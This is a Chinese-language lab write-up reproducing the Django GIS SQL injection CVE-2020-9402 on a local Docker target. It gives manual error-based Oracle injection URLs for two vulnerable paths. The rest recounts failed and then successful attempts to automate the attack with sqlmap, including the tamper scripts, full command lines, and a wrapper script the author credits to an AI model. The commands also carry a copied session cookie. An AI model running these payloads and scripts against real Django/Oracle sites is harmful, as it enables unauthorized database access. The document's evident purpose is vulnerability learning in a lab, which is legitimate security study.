一、手工注入教程
Django GIS函数和聚合中因容差参数导致SQL注入漏洞(CVE-2020-9402)
Django是一个高级的Python Web框架,支持快速开发和简洁实用的设计。
Django在2020年3月4日发布了安全更新,修复了在GIS查询功能中存在的Oracle SQL注入漏洞。该漏洞影响Django 3.0.4、2.2.11和1.11.29之前的版本。
该漏洞需要开发者使用了GIS中的查询功能,且用户可以控制查询集中的字段名。这个漏洞可以通过Django的内置管理界面进行利用。
参考链接:
-
https://www.djangoproject.***/weblog/2020/mar/04/security-releases/
环境搭建
执行如下命令编译并启动一个存在漏洞的Django 3.0.3服务器:
docker ***pose build docker ***pose up -d
环境启动后,访问http://your-ip:8000即可看到Django默认首页。
漏洞复现
首先访问http://your-ip:8000/vuln/。通过向q参数添加恶意输入来注入SQL:
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
SQL错误信息将会显示,证实注入成功:
另外,你也可以访问http://your-ip:8000/vuln2/,使用不同的payload进行SQL注入:
http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
SQL错误信息将再次确认注入成功:
手工注入很简单,就是环境打开很难,我的经验是打开容器先试试能不能访问,不能访问就先不管,可能过一俩小时就好了。
推荐两个大佬的解体链接:https://forum.butian.***/share/1923 https://cloud.tencent.***/developer/article/2242442
二、sqlmap测试(Oracle 数据库)
这次的注入笔者走了一大个弯路,都快被折磨疯了。首先就是环境打不开,一整个上午都是开不了环境,没办法测试,只能靠自己猜测。下午环境就好了。
先分析手工注入,有两个地方都有漏洞。
第一个漏洞注入方法:
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
这两个漏洞的注入点都是q,不过路径不一样,一个是vuln,另一个是vuln2。第一个经过BP测试,最重要的位置是“SELECT version FROM v$instance”,修改这个位置的sql命令就可以查询不同结果。
第二个漏洞注入方法:
http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
和第一个类似,最重要的位置是“SELECT user FROM DUAL”。
那么剩下的就是该怎么利用sqlmap了!
笔者首先是粗略注入试了一下:
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=0.05)" -p q --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --technique="BEUSTQ"
不用想,肯定不行,主要是用来查看BP抓的包。感觉sqlmap不可能生成这么复杂的payload,只能靠咱自己了。
笔者想: payload前:?q=20) = 1 OR (select utl_inaddr.get_host_name((
payload后:)) from dual) is null OR (1+1
这时候笔者认为只有两个脚本分别在payload前面和后面添加数据可能不行,因为这个payload不需要注释符,sqlmap生成的payload一定会有注释符,想要删去注释符需要另外一个脚本。但是不试试怎么行,so就有了下面的尝试:
想到上次的两个脚本,改一改payload(脚本作用分别是:在sqlmap生成的payload前面和注释符前面添加一段数据)。脚本分别是(知道咱们都懒得翻前面的):
DJqian.py:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Wraps payload for a specific double RLIKE injection.
It closes the first RLIKE with a quote, injects a UNION query,
and ***ments out the rest of the SQL statement.
This tamper script is specifically designed for the described scenario.
Example:
>>> tamper('1 UNION SELECT 1,2,3')
'" OR ""="(("))UNION SELECT 1,2,3#'
"""
# 检查payload是否为空
if payload:
# 模仿手动payload的结构,但将核心注入部分替换为sqlmap的payload
# prefix: " OR ""="(("))
# suffix: #
# 注意:这里的OR ""="(("))是为了语法完整性,但通常sqlmap的payload本身就能构成完整的逻辑单元
# 一个更简洁、通用的方式是直接闭合和注释
# 简洁版:直接闭合和注释,依赖sqlmap的payload
# return f'"{payload}#'
# 完整模拟手动Payload版:
# 如果sqlmap的payload不带UNION,我们可能需要自己加
# 但通常sqlmap在UNION注入测试时会自带UNION SELECT
# 这里的`OR ""="(("))`部分可以视情况省略,因为sqlmap的payload通常以AND/OR开头或直接是UNION
# 为了最大程度地模拟手动Payload,我们保留它
retVal = f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({payload}'
return retVal
else:
return payload
DJhou.py:
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if not payload:
return payload
# 自定义前缀(可通过全局配置修改)
CUSTOM_PREFIX = ")) from dual) is not null --"
try:
# 正则匹配第一个 '--'(忽略后置空格)
pattern = r'(--)(?:\s|$)'
# 仅替换首次出现的匹配项
modified = re.sub(pattern, f"{CUSTOM_PREFIX}\\1", payload, count=1)
# MySQL 特殊处理:确保 '--' 后有空格
if kwargs.get("dbms") == "MySQL" and "--" in modified:
modified = re.sub(r'--(?!\s)', '-- ', modified)
return modified
except Exception as e:
# 错误处理:返回原始 payload
return payload
开始注入:
python sqlmap.py -u http://192.168.152.247:8000/vuln2/?q=0.05 -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --tamper="DJqian.py,DJhou.py" --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
结果和笔者设想的一样,失败了。
那就再加上一个删去注释符的脚本(笔者找了好几个脚本,不过在这里都没有成功,脚本本身应该没有问题,估计是连用三个脚本出现的问题):
remove_closure.py:
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
# 移除payload开头的常见闭合模式
patterns = [
# 单引号闭合
r"^'\)? AND ",
r"^'\)? OR ",
r"^'\)?\s+(AND|OR)\s+",
# 双引号闭合
r"^\"\)? AND ",
r"^\"\)? OR ",
r"^\"\)?\s+(AND|OR)\s+",
# 括号闭合
r"^\)\s+(AND|OR)\s+",
# 直接开始的AND/OR
r"^(AND|OR)\s+"
]
for pattern in patterns:
match = re.search(pattern, payload, re.IGNORECASE)
if match:
# 移除匹配到的闭合部分,保留后面的payload
payload = payload[match.end():]
break
# 处理一些特殊情况
# 移除开头的 AND/OR 如果它们仍然存在
payload = re.sub(r'^(AND|OR)\s+', '', payload, flags=re.IGNORECASE)
# 移除可能的多余空格
payload = payload.strip()
return payload
命令:
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --technique="E" --tamper="DJqian.py,DJhou.py,remove_closure.py" --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
这里添加了 --technique="E" 指定注入类型为报错注入(没用,反而更错了,咱本身就已经在payload外面插入了报错函数:utl_inaddr.get_host_name,再加一层报错结果可想而知)经过测试,去掉 --technique="E" 也是错的。
这时候笔者发现sqlmap的payload会有
是不是网站状态码的问题,经过学习,可以用命令指定状态码让SQLmap认为是正确的,使用”--code= “:
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --code=500 --tamper="DJqian.py,DJhou.py,remove_closure.py" --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
还是错误,还有其他方法,比如 --string=“特定成功时页面出现的文本”和 --not-string="特定失败时页面出现的文本" 此处如下,是网页诸如成功与否时候页面的特别数据:
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --technique="E" --tamper="DJqian.py,DJhou.py,remove_closure.py" --code=500 --not-string="ORA-00936: missing expression" --string="ORA-06512" --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
错误,搜索错误原因得知:--string和--not-string会互斥,只能使用一个 ,修改:
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --tamper="DJqian.py,DJhou.py,remove_closure.py" --code=500 --not-string="ORA-00936: missing expression" --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --tamper="DJqian.py,DJhou.py,remove_closure.py" --code=500 --string="ORA-06512" --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
都失败了
没办法了,此时AI给我一个使用 -r加数据包的方法,还是没用。
三、成功
成功的非常侥幸。
我当时是真没辙了,想问问AI我的想法(在sqlmap生成的payload外面加上正确的报错注入的外壳)有没有问题,它回答我说没问题,并且给了我一个tamper脚本(在payload外面加上‘外壳’):
# 保存为 cve_2020_9402.py
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if not payload:
# 如果 payload 为空(如探测请求),提供一个真值条件保持语句正确
return "0.05))) FROM \"VULN_COLLECTION2\" where (select utl_inaddr.get_host_name((1)) from dual) is not null --"
# 核心:将 sqlmap 的 payload 嵌入到手工构造的语句中
formatted_payload = "0.05))) FROM \"VULN_COLLECTION2\" where (select utl_inaddr.get_host_name(({})) from dual) is not null --".format(payload)
return formatted_payload
我看这代码也没啥特别的,就抱着死马当活马医的想法试了一下:
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p q --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --tamper="cve-2020-9402.py"
奇怪的是它尽然真的成功了
笔者直接蒙了,这啥玩意,它凭啥成功啊???
笔者为了搞明白愿意,开启拷问AI模式,最后一切大白:
确实可以把payload放入正确的外壳里面,不过那两个脚本有问题,如:两个tamper脚本的执行顺序问题:sqlmap允许多个tamper,但执行顺序是从左到右。如果先执行加前缀的脚本,再执行加后缀的脚本,那么整个payload就会变成: 前缀 + 原始payload + 后缀 但是,如果先执行加后缀的脚本,再执行加前缀的脚本,那么就会变成: 前缀 + (原始payload + 后缀) 这显然不是我们想要的。
第二个脚本(加后缀)的逻辑可能有问题:它是在payload中第一个'--'处插入后缀,然后保留'--'。但是,如果payload中没有'--',那么就不会加后缀。
第一个脚本(加前缀)在payload为空时返回了原始payload(即空),而第二个脚本在payload为空时也返回空,那么整个payload就为空,可能无法触发漏洞。
两个脚本组合起来的效果可能因为sqlmap的payload生成方式而失败。例如,sqlmap可能会在payload中包含注释符,而我们的第二个脚本依赖于找到第一个'--'来插入后缀,如果payload中有多个'--',我们只替换第一个,这可能导致语法错误。总结就是sqlmap生成payload的情况不确定,容易出问题。 所以可以使用一个新的脚本来一次性将payload拼接到一整个外壳里面。
笔者突然发现那第一个脚本也是在payload外面加上外壳,是不是也行呢,经过尝试确实可以,这两个脚本功能几乎一摸一样。
不过笔者最开始想到的
是怎么回事,经过学习发现还是笔者想的太过简单了,
1、tamper脚本覆盖了sqlmap的注释逻辑:
当您使用tamper脚本时:
- sqlmap先生成基础payload(可能包含注释符)
- tamper脚本修改payload(可能移除或覆盖注释符)
- 最终发送的是tamper脚本处理后的版本
2、tamper脚本没有保留sqlmap的注释符。
笔者的理解是:sqlmap在使用tamper脚本时会自动解决注释符混乱的问题,不过最好还是在脚本里直接加入‘去除sqlmap自己添加的注释符’的功能。
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if not payload:
return '0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((1)) from dual) is not null --'
# 检查payload是否已经包含注释符
if '--' in payload:
# 如果已经有注释符,移除它,用我们的统一注释
clean_payload = payload.split('--')[0].strip()
return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({clean_payload})) from dual) is not null --'
elif '#' in payload:
# 处理MySQL风格的注释
clean_payload = payload.split('#')[0].strip()
return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({clean_payload})) from dual) is not null --'
else:
# 没有注释符,直接包装
return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({payload})) from dual) is not null --'
或者用更强大的注释处理函数:
def tamper(payload, **kwargs):
if not payload:
return '0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((1)) from dual) is not null --'
import re
# 移除各种类型的注释符,保留payload核心
clean_payload = re.sub(r'\s*(--|#).*$', '', payload).strip()
# 确保payload不为空
if not clean_payload:
clean_payload = "1"
return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({clean_payload})) from dual) is not null --'
还可以让sqlmap自己控制:
def tamper(payload, **kwargs):
if not payload:
return '0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((1)) from dual) is not null'
# 不在tamper脚本中添加注释,让sqlmap自己处理
return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({payload})) from dual) is not null'
这几种脚本我都没进行尝试,可能会错,注意甄别